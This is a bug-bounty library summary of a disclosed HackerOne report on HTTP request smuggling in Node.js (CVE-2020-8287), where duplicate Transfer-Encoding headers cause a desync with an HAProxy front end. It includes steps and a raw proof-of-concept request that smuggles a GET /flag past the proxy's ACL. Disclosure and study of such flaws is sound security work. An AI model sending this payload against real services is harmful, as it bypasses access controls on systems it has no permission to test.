# Potential HTTP Request Smuggling in nodejs

Node.js accepts duplicate Transfer-Encoding headers and honors only the first, enabling TE-TE request smuggling to bypass a front-end HAProxy ACL and reach /flag.

- Payout: $250
- Severity: low
- Program: Node.js
- Found by: piao
- Disclosed: 2021-01-07
- CVE: CVE-2020-8287
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1002188
- Library page: https://bugbountylibrary.com/r/h1%3A1002188
- Tags: area:web domain:web impact:internal-access kind:bounty platform:hackerone sev:low tech:nginx tech:nodejs technique:parser-differential vuln:request-smuggling

**Target:** Node.js HTTP parser (llhttp) behind HAProxy reverse proxy
**Root cause:** Node.js parses only the first Transfer-Encoding header and ignores subsequent duplicates, while HAProxy treats the request differently, creating a TE-TE desync.
**Steps:**
1. Set up HAProxy front-end denying `/flag` via `http-request deny if url_403`, proxying to a Node/Express app on :8080.
2. Send `POST / HTTP/1.1` with two headers: `Transfer-Encoding: chunked` and `Transfer-Encoding: chunked-false`.
3. Body: `1\r\nA\r\n0\r\n\r\nGET /flag HTTP/1.1\r\nHost: 127.0.0.1\r\nfoo: x`.
4. HAProxy forwards the request; Node honors first TE and treats the trailing GET as a second pipelined request, reaching /flag.
**How found:** Observed that Node.js accepts duplicate Transfer-Encoding headers and only reads the first, then tested against HAProxy to confirm a TE-TE desync.
**Exploitation:** Attacker sends a crafted POST with duplicate Transfer-Encoding headers so the front-end and Node disagree on message boundaries; the smuggled GET /flag is processed by Node, bypassing HAProxy's path ACL.
**Insight:** When auditing HTTP parsers, test duplicate/conflicting Transfer-Encoding and Content-Length headers against common front-ends (HAProxy, nginx) to find desync where the backend honors only the first header.

## Proof of concept (copied exactly from the original report)

**TE-TE smuggling request bypassing haproxy /flag**

```
POST / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked
Transfer-Encoding: chunked-false

1
A
0

GET /flag HTTP/1.1
Host: 127.0.0.1
foo: x
```

